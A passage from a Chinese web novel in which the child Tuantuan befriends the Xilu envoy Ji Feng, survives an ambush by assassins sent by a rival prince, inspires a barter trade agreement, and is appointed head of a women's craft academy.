团团蹲下身,伸出小手,轻轻地抚摸小羊羔颤抖的脊背。
“不怕哦,”她的声音软软,“我摸摸你,就不疼了。”
很快,小羊羔剧烈的颤抖渐渐平息,不再试图挣扎,反而低下头,用尚且稚嫩的角蹭了蹭团团的手腕。
团团两个小手叠放,弯成碗状:“二叔叔,它渴了,给我点儿水。”
萧二掏出水囊,倒了一些清水在她手中。
团团小心翼翼地捧到小羊嘴边:“喝吧。”
小羊显然是渴坏了,几口便将她手中的水喝光了。
小眼睛看了看团团,伸出粉嫩的舌头,舔了舔她的手指。
“嘿!有意思!”一道充满兴味的声音在一旁响起。
团团仰头看去,只见一个身材异常高大、穿着草原服饰,满脸络腮胡的汉子不知何时站在了对面。
哇,他的眼睛跟星星一样,好亮啊!
络腮胡蹲了下来,一双大手摸了摸小羊羔的脑袋。
他饶有兴趣地看着团团和小羊羔,咧嘴一笑,露出一口白牙:“小丫头,有点本事!这畜生跟你亲。”
随即转头,对那羊贩子爽快地喊了一句:“诶!这羊,别宰了!爷买了!”
羊贩子一愣,还没答话,萧二跨步上前,高大的身躯将团团和小羊羔完全挡在身后,面无表情地看着络腮胡:“阁下,这羊我们会买,便不劳您的大驾了。”
他不喜欢任何陌生人接近自家小姐,尤其是眼前这个,气息彪悍、眼神精明的陌生男子。
团团却拉了拉萧二的衣角:“二叔叔,再玩一会儿嘛,就一小会儿!咱们才刚来啊。”
萧二怎么舍得拒绝团团呢?
他扔了一块银子给羊贩子,双手抱胸,眼神戒备,牢牢地盯在络腮胡身上。
络腮胡毫不在意,只觉得这对主仆有趣极了。
他哈哈一笑,径自起身,去旁边的摊子买了几个刚出炉的芝麻胡饼回来。
他掰下一大块,递给了团团,又掰了一小块,递到小羊羔的嘴边。
小羊羔嗅了嗅,小心翼翼地吃了起来。
萧二见状,眉头拧得更紧。
他立刻从自己随身带着的背囊里,掏出了一个油纸包,里面是两块精致软糯的糖糕。
他递到团团面前:“小姐,吃这个。”
团团眨巴了一下大眼睛,左手是络腮胡递来的芝麻胡饼,右手是萧二拿着的糖糕。
她毫不犹豫地左手接过胡饼,右手拿起桂花糕,左边“啊呜”一口,右边又“啊呜”咬一口。
她满足地眯起眼,含糊不清地说:“唔!胡子叔叔的饼好香!二叔叔的糕也很甜!都好吃!”
络腮胡觉得更有趣了,这小家伙居然还是个“端水”大师!
他索性一屁股在路边的台阶上坐了下来,毫不在意地上的灰尘,就那么斜着身子,晒着温暖的阳光,啃起了剩下的胡饼。
团团看着他身上的服饰:“你不是烈国人吧?”
络腮胡点了点头。
团团很好奇:“那你是哪国人呢?”
络腮胡回道:“西卢。”
团团一脸向往:“西卢很远吗,我没有去过捏!西卢什么样子啊?你给我讲讲好不好。”
络腮胡从腰间摘下一个酒酒囊,喝了一口,抹了抹嘴:“西卢啊,离这里可不近。”
“骑马的话,快的也得走将近一个月。”
团团惊叹了:“哇,这么远!”
络腮胡点了点头:“是不近,像你这样的,马背上都坐不住一天,那估计得走两个月才能到。”
他环顾了一眼周围:“西卢跟你们这里不一样。”
“你们这里人太多了,看不见一片整地草。哪儿像我们西卢啊,一望无际的大草原。”
“牛羊比人多多了。”
“风吹起来啊,那大草甸子跟浪一样,好看得很哪!”
团团听得出神:“听起来很棒的样子!叔叔,以后我要是想去你们西卢玩,找你可以吗?”
络腮胡笑了:“可以啊!我家大着呢,你随便住。”
团团拍着小手欢呼:“太好啦!谢谢你啊叔叔!咦,对了,你叫什么名字啊叔叔?”
“我叫姬峰。”
这络腮胡正是西卢使节姬峰。
他素来不喜宫廷虚礼,只爱喝酒闲逛。
将使团的事情都交代给了底下人,自己便出来溜达了。
本想体验一下烈国京城的市井风情,不想却遇到了那日在宫宴上大出风头的烈国仙使。
没想到,这小孩儿心挺善不说,居然还会伺候牲口,像草原上的小姑娘。
而团团,那日宴席上人那么多,她连谁跟谁都没分清楚,哪里认得出他来。
萧二根本就没去,更加不知道他是谁了。
姬峰很是满意,这多好,何必分什么大夏烈国西卢,不过都是两个胳膊两条腿儿罢了。
他吃饱喝足,伸了个懒腰:“这儿也没个能骑马射箭的好去处,窝得我难受,都伸展不开了。”
团团想了想:“要不你去我的庄子上?”
姬峰笑了:“你这个小不点儿还有庄子?”
团团抬了抬小下巴:“当然有啊!是皇姑姑给我的!不过,我都没去过,要不,明日咱们一起去好不好?”
萧二皱着眉头:“小姐,不妥。”
团团一脸奇怪:“为什么不妥啊,二叔叔?”
萧二斜眼盯着姬峰,一脸戒备:“来路不明,谁知道他想干什么!”
姬峰眼睛一瞪:“喂!黑大个儿,怎么说话呢?”
团团赶紧拉了拉萧二的手:“二叔叔!姬叔叔是好人!没关系的!你也陪着我一起去!好不好?”
萧二点了点头,这才不吭声了。
团团很高兴:“姬叔叔,明日一早,我来这里接你好不好?”
姬峰一笑:“好!咱们不见不散!”
当晚,团团告诉程如安,爹爹和哥哥们都在忙,想让萧二陪自己去长公主给的庄子上住几天。
程如安欣然应允,给女儿收拾了一车可能用得上的东西,次日一早将她送上了马车。
马车来到了北市,姬峰正斜靠在一根柱子上,团团从车里探出个小脑袋:“姬叔叔!上车!”
第170章 不喜欢银子啊
一行人来到了位于京城郊外的芳菲苑。
芳菲苑不愧为长公主的私产,坐于山峦环抱之中,气派非凡。
团团下了马车,仰头望去:“哇,真大!”
管家带着一队下人迎候在外:“给郡主请安。”说罢指挥着下人们将马车上的东西都卸下来。
“请随我来。”
萧二领着团团,姬峰跟在后面,走入庄内,只见院墙高耸,亭台楼阁错落有致,树木花草都修剪得整整齐齐。
官家一路走一路讲:“郡主请看,这园子里的水是外面引进来的活水。从南门出去,还有一片精心养护的林地,专供行猎之用。”
“行猎?”姬峰眼睛一亮,“可有马匹?”
官家忙回道:“有的,马厩中一直都养着几匹好马。”
团团规规矩矩走了没几步,便放开了萧二得大手,开始到处跑来跑去。
姬峰咂了咂嘴:“此处美则美矣,就是规矩太多,连树都长得规规矩矩。”
简单走了走,安顿好了各自的住所。
姬峰只觉得浑身的筋骨都有些发痒:“光看有什么意思?刚才不是说有猎场吗,咱们去玩玩如何?”
团团立刻欢呼:“好呀好呀!咱们去打猎!”
萧二瞪了一眼姬峰,小姐还这么小,净玩这种危险的东西!
姬峰假装没看见。
下人们牵来几匹骏马,姬峰翻身上马,动作流畅如行云流水。
他拿起马鞍后挂着的弓箭,收起了脸上的戏谑懒散,双眼变得如雄鹰般锐利。
萧二抱着团团共乘一骑。
“驾!”两匹马一前一后,冲进了山林,两个下人也纵马赶紧跟上。
姬峰在马上格外自如,仿佛生来就长在马背上,整个人气势陡然一变。
仿若游鱼入海,飞鸟归林,恣意极了。
他耳听八方,任何细微的动静都逃不过他的耳目。
弓弦在他手中有如活物,利箭破空,精准地没入草丛树影,箭无虚发,必有所得。
团团高兴得不停拍着小手:“姬叔叔!又一个!你好厉害啊!”
姬峰得意大笑,放马狂奔,挥洒自如。
萧二看着姬峰那娴熟至极的骑射功夫,也不由得暗暗点头。
不愧是草原上的汉子,确实有点儿本事。
没多久,收获颇丰。
跟来的两个下人捡来木柴,在空地上支起烤架,将猎得的野味处理好架在火上。
不多时,滋滋冒油,香气四溢。
姬峰解下腰间酒囊,仰头灌了一大口烈酒,畅快地舒了口气:“痛快!”
“这只行了,再烤就老了。”他撕了一只烤得香气扑鼻的兔子腿递给团团。
又将另一条兔腿扯下来,大口撕咬。
萧二冲着团团伸手:“小姐,给我,我给你撕开。”
团团看着姬峰那大口吃肉、酣畅淋漓的模样,小脸上满是羡慕,摇了摇头:“不嘛,二叔叔,我想像姬叔叔那样吃!”
然后,她学着姬峰的样子,将兔腿送到嘴边,呲开小牙撕咬。
可惜,她的牙太小,力气也不够,来回撕扯了好几下,才勉强咬下来一小缕肉丝,挂在嘴边,小模样又认真又滑稽。
姬峰大笑:“哈哈哈!牙都没长齐,就想学我了?”
萧二瞪了他一眼,伸手将兔腿拿了过来,掏出小刀,在兔腿上划开数刀,又送回团团手里。
“二叔叔真好!谢谢二叔叔!”团团甜甜一笑,张嘴再咬,终于能向姬峰一样了。
萧二一脸宠溺的看着自家小姐,我家小姐就是可爱!
团团啊呜几口,吃得满嘴油光,一双大眼睛眯成了两条缝:“真好吃哦!姬叔叔,你打猎这么厉害,是不是在西卢每天都这样打猎吃烤肉呀?”
姬峰想了想:“差不多吧!草原上别的不说,肉管够。”
“我们那儿的小姑娘,像你这么大的,都已经能骑着小马,帮着家里赶羊了。”
“赶羊?”团团歪着头,想象了一下,“她们不去学堂吗?”
“学堂?”姬峰愣了一下,笑着摇头,“草原上地广人稀,帐篷随着水草走,哪能像你们这儿,还有什么学堂。”
“女孩儿家,能认得自己的名字,知道怎么伺候好牲口,已经是顶好的了。”
团团放下手里的肉,一脸认真:“可是,女孩子也要多学本事啊!”
“只会伺候牲口,那怎么够啊!”
“我办了一个女子监呢,跟哥哥们读书的国子监不一样。”
“是学手艺的。让所有的小姐姐们都能学到手艺,就算家里的人不在了,她们自己也能挣饭吃,不会饿肚子!”
姬峰的手微微一顿。
他看着团团,听着她的豪言壮语。
想到草原上那些风吹日晒,从出生起命运就注定依附于父兄丈夫的女子们,心中仿佛被什么东西轻轻撞了一下。
他沉默了片刻,猛地又灌了一口酒:“让你这么一说,倒显得我们西卢的男儿,有些对不住家里的姑娘了。你这女子监,还真是个好东西!”
团团得意地抬了下小下巴:“对啊!爹爹也这样说!”
篝火噼啪作响,烤肉的香气渐渐被晚风带走。
姬峰满足地喝了一大口酒,四仰八叉地躺了下来:“这地方还真不错。”
“要不是你们烈国搞什么‘天下商贸盛会’,闹得沸沸扬扬,我也不会远道而来,更不会遇上你这个有趣的小家伙。”
团团闻言好奇地歪着头:“你也是为这个来的?”
姬峰嗤笑一声,不以为然:“要我说,就是多此一举!”
“我们西卢有牛羊骏马,你们烈国有茶叶丝绸,大家物产不同,各过各的,优哉游哉,岂不痛快?何必大老远的瞎折腾。”
“那怎么行呢!”团团放下水囊,“要是大家都只守着自己的东西,你就只能天天吃肉,永远也尝不到我们烈国甜甜的糕点。”
她伸出两只小手,比画着:“东西就不会变
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得越来越多,越来越好了呀!”
“你们的好东西卖掉换成了银子,才能买更多的好东西啊!”
姬峰一愣,随即失笑:“小丫头啊,你说的虽然有点儿道理。可将东西都换成了银子,哼,那黄白之物,流来流去,最后还不知肥了谁的腰包,麻烦!”
团团眨巴着大眼睛,努力思索,原来西卢人不喜欢银子啊!
她眼神一亮:“那就别用银子嘛!”
“啊?”姬峰一愣。
团团兴奋地拍了一下小手:“姬叔叔你们不喜欢银子,那就直接拿东西换东西呗!”
“你们可以用一群肥肥的羊,换我们的布和糖糕!“
“我们也可以用你们想要的东西,换你们跑得最快的马!”
“这样,大家不用银子,不也可以多了很多好东西吗?”
姬峰面带动容:“小丫头,你可知,在银子这种东西没出来之前,我们草原上就是这样的?”
“但每样东西的大小,质地,好坏都不同,交换的时候经常会吵起来,渐渐地才学了你们,开始用银子了。银子多了,麻烦才越来越多。”
“哦——”团团点了点头,原来如此。
可是,这是对大家都好的事啊,难道,就没有什么办法,能让所有人都满意吗?
姬峰看着她认真思索的小模样,忍不住微微一笑:“行啦,小丫头,别废那脑子了,咱们啊,还是各过各的吧!”
团团看着他,不肯放弃:“一定有办法的,姬叔叔!”
突然,她眼神一亮:“姬叔叔,那就让人先给东西订个价钱嘛!大家都同意,再拿东西换东西,不就行啦!”
姬峰握着酒囊的手停在了半空。
是啊,商贸往来,为何一定要执着于那虚头巴脑的银子?
只要能公平订价,然后再各取所需,以物易物,岂不是更直接的方式?
他猛地看向眼前这个眼睛亮晶晶,一脸得意的小丫头,心中掀起了惊涛骇浪。
这孩童稚语,竟比他听过的所有西卢官员的高谈阔论,更直指要害,更契合他的脾性!
他仰头将囊中烈酒一饮而尽,脸上露出了微笑。
之后数日,他们在这芳菲苑中悠然而过。
或入林打猎,或临溪捕鱼,或在山中采摘秋各种野果。
岁月恬淡,仿佛外界一切纷都已远去。
这日清晨,天高云阔,姬峰望着庄外层林尽染、人迹罕至的老林,豪兴顿起:“小丫头,敢不敢跟叔叔去那片老林里闯闯?那里的野物,肯定更多!”
团团自是拍手叫好,萧二犹豫了片刻,点了点头。
一行人骑马深入老林。
这里古木参天,枝叶蔽日,光线骤然昏暗下来。
姬峰锐利的目光掠过每一处树影和草丛。
“好肥的獐子!”他搭弓引箭看准了,正欲拿下。
“咻!咻!咻!”
数道尖锐的破空声响起,从密林中疾射而出!
直奔团团!
第171章 嫁祸给烈国
“小姐!”
萧二瞳孔骤缩,爆喝一声,几乎在破空声响起的瞬间,他壮硕的身躯爆发出惊人速度,猛地从马背上侧扑而出,如一座小山般挡在团团身前!
“锵!锵!锵!”
火星四溅!
他竟是在千钧一发之际,用戴着精钢的护臂精准地格开了那几支致命的箭矢!
巨大的冲击力让他手臂一阵发麻。
“是**箭!”
同一时间,姬峰的箭也离了弦,循着**箭来路,狠狠扎进了那片密林,传来一声痛呼。
“有埋伏!护住丫头!”
姬峰反手抽出腰间弯刀,眼神如同草原上的狼一般凶狠凌厉。
四周树影摇动,七八道蒙面黑影如鬼魅般无声掠出,手中兵刃寒光闪闪,包围上来。
转眼间,跟来的两个下人已经中箭掉**下。
萧二将团团牢牢护在怀中,长剑出鞘,剑尖遥指前方,煞气冲天:“找死!”
一道黑影率窜出,手中长剑直取萧二肋下,显然是想逼他放开怀中的团团。
萧二眼中寒光暴涨,闪过剑锋,大手如铁钳般精准地扣住了对方持剑的手腕!
只听“咔嚓”一声,那刺客的惨叫还未出口,萧二手中的长剑递出,一剑封喉!
一名刺客大叫:“杀光他们!”
其余人一拥而上,刀光剑影瞬间将三人笼罩其中。
团团死死抱住萧二的腰,小脑袋埋进他的怀里。
一个刺客想从侧面偷袭,却被萧二反手一剑削断了手腕,惨叫着倒地。
“好身手!”姬峰大喝一声,手中弯刀划出一道诡异的弧线,从一个极其刁钻的角度劈向一名正要夹攻萧二的刺客。
那刺客慌忙举刀格挡,却没想到姬峰的弯刀势大力沉,“铛”的一声巨响,竟将他连人带刀劈得踉跄后退,鲜血淋漓。
“西卢的弯刀?”一个刺客失声惊叫。
混战中,姬峰为了替萧二格开身后袭来的一剑,侧身露出了破绽。
一个刺客趁机用**直刺姬峰后心!姬峰眼看便要中招。
“小心!”
萧二用肩膀硬生生撞开了姬峰!
“噗嗤!”
**扎入了萧二的左肩!
“二叔叔!”团团感觉到抱着自己的手臂一僵,吓得尖叫出声。
萧二闷哼一声,丝毫未停,反手一剑逼退了还想补刀的刺客。
“黑大个!”姬峰弯刀狂舞,状若疯虎,瞬间将两名冲上来的刺客劈翻在地。
他一把扶住身形微晃的萧二,看着那发黑的伤口,怒火冲天。
刺客见姬峰与萧二并肩而立,配合默契,脱口而出:“西卢和烈国联手了?”
此言一出,剩余的几个刺客的攻势明显一滞,眼中都露出了惊疑不定的神色。
姬峰闻言,先是一愣,随即怒极反笑:“放**狗屁!”
一个像是首领的刺客恶狠狠地瞪了一眼被二人护在中间的团团,当机立断:“撤!”
带着剩下的几个刺客转身迅速消失在密林深处。
姬峰顾不上追击,扶着萧二和团团下马,查看他的伤势。
只见伤口周围的黑色正在缓慢蔓延,萧二的呼吸粗重起来。
“二叔叔!你怎么样?”团团看着萧二肩膀,大颗大颗的眼泪滚落下来。
“小姐别怕,我没事儿。”萧二的声音有些沙哑。
他想抬手摸摸团团的头,却发现手臂麻木,根本抬不起来。
姬峰飞速撕下自己一截衣摆,麻利地先将萧二的上臂紧紧勒住,防止毒素过快扩散:“好阴毒的玩意儿!”
他毫不犹豫地从怀中取出一个小瓷瓶,倒出一颗异香扑鼻的朱红色药丸喂进萧二口中。
“快!这是我西卢的赤阳丹,能解百毒!”
半晌后,萧二肩头的黑气肉眼可见地缓缓消退,脸色也慢慢好转过来。
姬峰长长松了口气,团团破涕为笑:“二叔叔!你没事儿啦!吓死我啦!”
萧二看向姬峰:“姬兄,大恩不言谢!”
姬峰大手一挥:“说这些干嘛!你是为了护我和小丫头受的伤,我若是掖着藏着,还算是人吗?”
眼看萧二脱离了危险,姬峰蹲下身,在刺客的尸体上翻查。
萧二则强忍肩头的麻痒和阵阵眩晕,警惕着盯着四周。
“身上干净得很,连个铜板都没有。”姬峰站起来,踢了踢另一具尸体,脸色阴沉,“兵器也是最普通的,看不出身份。”
“不过,能说出西卢和烈国,想来应是大夏人了。”
萧二缓缓点头,团团攥着小拳头:“又是那个坏蛋!”
姬峰眼中杀意凛然:“公孙宏!好小子!”
他一把扶住萧二:“撑得住吗?此地不宜久留!”
萧二深吸一口气:“无妨,走!”
团团抬起小脸:“咱们回家找神医爷爷!”
姬峰赞赏地看了小丫头一眼,不错,没大哭大闹,有点儿胆色。
三人不再耽搁。
姬峰把马牵过来,扶着萧二和团团骑上马背。
自己上马断后,朝着芳菲苑疾驰而去。
回到庄内,吩咐备好马车,萧二和团团坐在车内,姬峰亲自赶车,径直回到了宁王府中。
程如安一把将女儿紧紧搂入怀中,泪水滑落,后怕不已。
姬峰言简意赅:“王爷,王妃,萧二兄弟为了护我和团团,中了贼人的暗算。”
萧元珩急道:“快!去请墨神医!”
府中顿时忙碌起来。
墨长庚闻讯赶来,检查了萧二的伤口:“还好,服药及时,不算麻烦。有株洗尘兰刚好长成,正好可以一试。”说罢,转身离去。
萧元珩:“……”
神医,你要不要这么急着试你种的灵草啊。
墨长庚取来灵草,捣出汁液,涂在萧二的肩头。
仔细盯了半晌:“不错,圣医谷的灵草果然名
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不虚传,早晚各一次,三日之后,余毒便可彻底清除。”
众人这才长长松了口气。
团团拉着他的袖子:“神医爷爷!谢谢你!你真有本事!”
墨长庚嘿嘿一乐:“那是自然!”笑呵呵地走了。
萧元珩屏退左右,抱拳一礼:“多谢你仗义出手!若非你在场,小女和萧二今日已遭大难。此情,我宁王府记下了。”
姬峰摆了摆手,恢复了他一贯的满不在乎:“王爷言重了。”
“我与团团投缘,同萧二也算共历了生死,不算什么。”
他顿了顿,看了团团和萧二一眼。
团团正趴在萧二床边,握着他的大手,一脸的心疼。
姬峰颇为感慨:“不瞒王爷,我此番远行,就是来看看热闹而已,本来无趣得紧。”
“没想到,机缘巧合,让我遇上了团团,想通了不少事情。”
他直视萧元珩:“王爷治家有方,府中侍卫如此赤胆忠心,悍勇无畏。”
“烈国果然是英雄辈出,姬峰佩服。”
“如今萧二兄弟伤势已稳,就此告辞,后会有期!”
他抱拳行礼,转身欲出。
“姬叔叔,等等!”团团忽然从床边站起,跑到姬峰面前,从荷包里,掏出了一颗珠子,“这个给你!”
姬峰接了过来,仔细端详,一眼便看出绝非凡物。
萧元珩解释道:“此乃玄穹观观主赠小女的‘星宿流珠’,有安护转运之效,是小女的心爱之物。”
团团仰起小脸看着他:“道长爷爷说它能保人平安哦!姬叔叔你带着它吧!”
姬峰心头猛地一热,喉头有些发紧。
他珍而重之的,将那颗小小的流珠紧紧攥在手中。
伸手摘下脖颈上的一串物事,挂在了团团的脖子上,指着上面的吊坠:“这上面坠着的狼牙,是我幼时首次捕猎所得,给你了。”
“他日你若来西卢,拿着这个来找我吧。”
团团摸着那个狼牙,抬头笑了:“好漂亮啊!谢谢姬叔叔!”
他摸了摸团团的小脑袋,转身离去。
大夏使团居所。
一个黑衣人跪倒在地:“殿下,那西卢大汉手持弯刀,勇悍异常,与另一个护卫死护着,我们未能得手。”
公孙宏面色铁青:“那大汉什么样子?”
“身材魁梧,一脸络腮胡子。”
“姬峰?”公孙宏猛地攥紧了拳头。
西卢使节为何会出现在那里?
还如此拼命维护那个死丫头?
难道,西卢暗中与烈国联手了?
若当真如此,我大夏在此番博弈中,岂非会陷入极其被动和危险的境地!
他语气冰冷:“查!给孤彻查!西卢使团近日所有动向,姬峰与宁王府有无私下往来!”
“若杀不了那个死丫头,便杀了姬峰,嫁祸给烈国!绝不能让他们结为盟友共同对付我大夏!”
“是!”
第172章 想知道你的来历吗
时至深夜,公孙宏才刚熟睡不久。
“走水啦!走水啦!快救火啊——!”
无数惊呼划破寂静的深夜!
公孙宏一个激灵从榻上跳起,窗外已是红光映天,浓烟顺着门缝窗隙疯狂涌入,灼热的气浪扑面而来!
“殿下!快走!”姜城一脚踹开房门,顶着浓烟冲了进来。
火借风势,烧得噼啪作响,梁柱倒塌声不绝于耳。
整个旧官署顿时一片混乱。
大夏使团的人纷纷冲出房间,跑到了大街上。
寒冷的夜风中,他们一个个都仅披着单薄的寝衣,熏得满面乌黑,身上全是烟尘,瑟瑟发抖。
火苗迅速吞噬了他们的住所。
所有大夏人都是一脸的惊惶失措。
公孙宏被姜城和几名侍卫护在中间,同样只穿着一身寝衣,披头散发,早已没了储君的风采。
他满脸怒容,厉声大喝:“怎么回事儿?为何会着火?”
“哎呦喂!就是啊!怎么起火了呢?啧啧啧,真是运气不好啊!”
公孙宏瞪向声音来处。
姬峰不知何时站在了街对面。
他披着一件厚实的狼皮大氅,手里拎着一个酒囊,悠哉游哉地靠在墙上,一边看着冲天的火光,一边美美地灌了一口酒。
他目光扫过灰头土脸、狼狈不堪的一群大夏人,嘴角咧开:
“怪了啊!这京城里哪儿都平平安安的,连片树叶都没烧着,怎么偏偏就你们大夏人住的地方,呼啦一下,着了这么大一场火呢?”
他顿了顿,仰头又喝了一口酒,恍然大悟般道:
“该不会是,你们做了什么见不得人的亏心事吧!”
“这才大晚上的,遭了报应,着了火吧?”
“咳咳咳!”公孙宏胸口剧烈起伏,一口夜风呛入喉管,咳得他满脸通红,手指着姬峰,却一个字也说不出来。
姬峰脸上的笑容更加灿烂,他举起酒囊,朝着公孙宏的方向抬手敬了敬,哼着不成调的草原小曲,大摇大摆地转身而去。
公孙宏咬着牙:“好一个西卢!好一个姬峰!”
次日,萧杰昀听到禀告,大夏使团下榻之处昨夜突发大火,虽无人伤亡,但一应物品已被尽数焚毁。
萧杰昀漫不经心地“嗯”了一声,眼皮都没抬:“既无人伤亡,安置了便是。这等小事,不必再报。”
“是!”程公公心领神会,给大夏使团安排了一个更旧的处所,将人给挪了进去。
萧元珩收到消息,会心一笑:“这个姬峰,还真是个性情中人。”
“有仇当场就报,真是一夜都等不得。嘿嘿。”
几日之后,宁王府花厅。
萧元珩正抱着团团听着她的童言童语笑得开心。
萧宁远拿着一卷文书,一脸的难以置信走了进来:“父亲,此事当真是奇了!”
团团开心地喊了一声:“大哥哥!”
萧宁远急忙回道:“诶!小团团,你也在啊。”
萧元珩抬眸问道:“何事?”
“与西卢开通户市之事。”
萧宁远将文书递给父亲:“您也知道,西卢人此前对此事极为抵触,谈判数次皆僵持不下。”
“可这几日,西卢使团态度大为缓和,不仅同意开放,还提出了一套极为明晰的章程。”
他指着文书上的条款:“他们建议,将两国用于交易的主要货物,如我朝的茶叶、布匹,瓷器与他们西卢的牛羊、骏马、乳酪等,先行核定一个彼此认可的价格。”
“交易时,以此价为基准,直接以物易物,各取所需,居然还提出,免除一切中间税赋!”
萧元珩也不由得惊讶。
萧宁远继续道:“此法看似简单,却巧妙地化解了西卢人不愿以金银定价的要害,化繁为简,堪称绝妙。”
萧元珩问道:“你可知他们为何转变如此之大?”
萧宁远一脸困惑:“孩儿不知。西卢使团那边,还给这个新定的户市起了个名号,叫姬团通市。”
萧元珩微微一怔:“姬团通市?”
团团抬起小脸蛋,想了想:“姬团?是姬叔叔……和团团吗?”
“姬叔叔?西卢使节
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姬峰吗?”萧宁远疑惑地看向父亲。
萧元珩看着女儿,瞬间什么都明白了。
他低头看向女儿:“团团,这个主意,是不是你给姬峰出的?”
团团得意地点了点头:“对啊!就是我啊!”
萧宁远愕然地张大了嘴,低头看了看手中那卷写着“姬团通市”的文书,哭笑不得:“原来如此!哈哈哈!原来这个姬团是这个意思啊!”
他朗声大笑,一把将团团抱起来转了个圈,“好妹妹!你可真是我烈国的福星啊,不声不响,便立下了擎天之功!”
团团被他转得咯咯直笑。
萧宁远抱着团团,感慨道:“父亲,姬峰这是在投桃报李啊!才以此名号,纪念此番渊源!”
萧元珩团团,眼中全是自豪与慈爱。
他微微颔首:“看来,我烈国与西卢之间,倒是因此番意想不到的际遇,走出了一条与众不同的路。”
团团虽然听不太懂,但见到爹爹和大哥哥都夸赞自己,顿时笑得酒窝深深,眉飞色舞。
数日之后,天下商贸盛会圆满结束,各国使节纷纷踏上归程。
这日一早,一个身着大夏服饰的人,来到了宁王府。
他并未求见任何人,而是留下了一封信:“此信是我国国师亲笔所书,请交给贵国仙使。”说完便转身离开。
下人一头雾水地拿着信走进了花厅。
一家人都在,欢声笑语,正围着团团比谁能将她举得更高。
“爹爹举得最高!”团团开心地抱着萧元珩的脖子。
下人禀告了信的来历,将信递到了萧元珩的手中。
“大夏国师给团团的?”
萧元珩接了过来,没有拆开,仔细地翻来覆去看了看:“这个国师邪得很,团团,你先看看,是否有什么伤人之物,若是有,直接烧了便是。”
团团就着爹爹的手看了看:“没有,就是纸。”
萧元珩这才拆开,展开一看,很普通的纸上,只有一行字。
他念了出来:“想知道你的来历吗?来大夏,我告诉你。”
第173章 明日我就给你送来
全家人顿时脸色大变。
程如安走到丈夫身边,握住了女儿的手:“团团,你认识大夏这位国师吗?”
团团眨了眨眼睛:“不知道啊,娘亲,他叫什么啊?”
程如安看了一眼丈夫,默默地摇了摇头。
萧宁远和萧宁珣走过来,拿走了父亲手中的信。
两人看了看信,又看了看团团。
程如安心跳都加速了:“团团,你知道自己的来历吗?你想知道吗?”
萧元珩手臂收紧,全家人都紧张地盯着团团,想法都一样,团团是我们家的人!无论她来自哪里!
团团歪着小脑袋想了想,又看了看大家,学着姬峰的口气,咧嘴一笑:“我的事儿关他屁事啊!”
所有人的心都落回了肚子里,程如安冲女儿嘟了下嘴:“不许这么说话哦,那是他们男人们说的,你可不能学。”
“哦,知道啦!”团团抱着爹爹的大脑袋:“爹爹!我还要举高高!”
萧元珩笑了:“好嘞!咱们接着玩!”
萧宁珣细心地将信收起,塞进了袖子里。
两日后,早朝。
户部尚书正在禀告:“启禀陛下,若本次商贸盛会的举措能够全部实现,相信只需一年。”
“物品丰富,国库丰盈,我朝必将呈现百工之器皆备,万邦之珍咸集的盛况。”
“我朝国力之根基,自此将更为稳固!”
他一脸喜色,户部今后,再也不会为钱粮不够发愁啦!
“好!好!”萧杰昀龙颜大悦。
“盛湛,继续盯着大夏,将那三座城池尽快交接过来,并入我朝舆图!”
盛湛出列:“是!陛下!老臣定不辱命!”
“此次盛会,由宁王二子提出,最大的功臣是宁王嫡女嘉佑郡主。”
“传朕旨意,宁王长子萧宁远,任户部侍郎,次子萧宁辰为中郎将,统管京畿防卫,三子萧宁珣,任工部侍郎。”
“嘉佑郡主,居功至伟,特授“女子监祭酒”之职,以彰其德!望其再接再厉,不负朕望!”
大殿内静了一刻,随即一片哗然。
“女子监?”
“那是什么?何时设立的?”
“没听说过啊!难道,是要让女子读书科考吗?荒谬!”
萧元珩出列行礼:“陛下皇恩浩荡,臣,领旨!”
转身面向众臣:“女子监是小女所提,旨在让我烈国女子皆能**得一技之长,不仅能安身立命,不仰仗于父兄;更能凭借所学,效力于家国。”
萧杰昀点了点头:“正是如此!郡主所行之事,乃利国利民之举。郡主但有需求,各部须倾力相助,不得有误。若有推诿懈怠,朕必严惩不贷!”
众臣面面相觑,简直闻所未闻!
但皇帝已下严旨,谁都不敢再多言:“微臣遵旨!”
宁王府。
“咱们团团,做了……祭酒?”程如安不敢置信。
萧元珩喝了口茶:“是啊,昨日我去面圣,同陛下提起此事。你知道的,陛下如今对团团,几乎是有求必应。”
“此次商贸盛会,团团功劳甚大,但她已有郡主之名,又有封地,陛下正在发愁,赏赐些她什么,一听这是团团想做的事,便下了旨,为她大开方便之门,助她成就此事。”
程如安有些发愁:“王爷,这个女子监,当真能成吗?”
萧元珩一笑:“团团想做的事,你我全力支持她便是。不必担忧,孩子们都已可以独当一面,你放心好了,还有我们在呢。”
程如安点了点头:“刘嬷嬷,将这个事,去跟小姐去说一声。”
“是。”刘嬷嬷来到花园。
团团正骑在萧二的脖子上,使劲够着树上的一个果子:“二叔叔,再高点儿!摘下来我给你吃哦!”
萧二肩上的伤已经痊愈,扶着她的两条小腿儿:“小姐,你慢点儿啊,够不着我给你摘。”
团团小手使劲一伸:“摘到啦!”
萧二蹲下身,团团高兴地滑到地面,举着小果子:“二叔叔,给你啊!”
萧二微笑着接了过来,小心翼翼地放进了怀里。
“咦,嬷嬷!你怎么来啦?”
刘嬷嬷刚才看得大气都没敢出,就怕惊着了她,再掉下来。
眼看她双脚落地,这才走近了,将事情说了一遍。
团团眼睛一亮:“皇伯父让我做女子监的祭酒了?太好啦!走,二叔叔,咱们去女子监看看吧。你知道在哪儿吗?”
“也不知道那几个小姐姐现在过得好不好。”
萧二点了点头,刘嬷嬷忙道:“我去让他们备车。”
一路来到了城北的一个大院子门外。
萧二把团团抱下马车:“就是这里。”
团团抬眼一看,好大的院子啊!还有个大门,不错。
她拉起萧二的大手:“走,咱们进去。”
走进了大门,地面干净,房屋整洁,但却一片寂静。
团团左看右看:“咦,怎么没有人啊。”
又往里走了一段,看到了几件正在晾晒的衣裙。
“小姐?!”一个女孩放下手中的水盆,跑了过来。
正是
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当日那个挨了藤条的小姑娘。
她跑到团团面前,跪下便磕头:“小姐,你终于来啦!”
团团急忙扶她:“跪什么啊,快起来,你在这里好吗?那几个小姐姐呢?”
小姑娘点了点头:“多谢小姐给了我们这么好的住处。”
她转身大喊:“英姐!娟子!你们快出来啊!小姐来看咱们啦!”
当日团团救下来的几个小姑娘闻言纷纷跑了出来。
围着团团七嘴八舌:“小姐,你可来啦!”
“多谢小姐让我们住在这里!”
团团仰起小脸看着她们,真好,脸上都红润润的。
团团问道:“还没有师傅来教你们手艺吗?”
几个小姑娘互相看了一眼,摇了摇头。
团团明白了,爹爹找到地方,把她们送了进来,但还没来得及给她们找师傅。
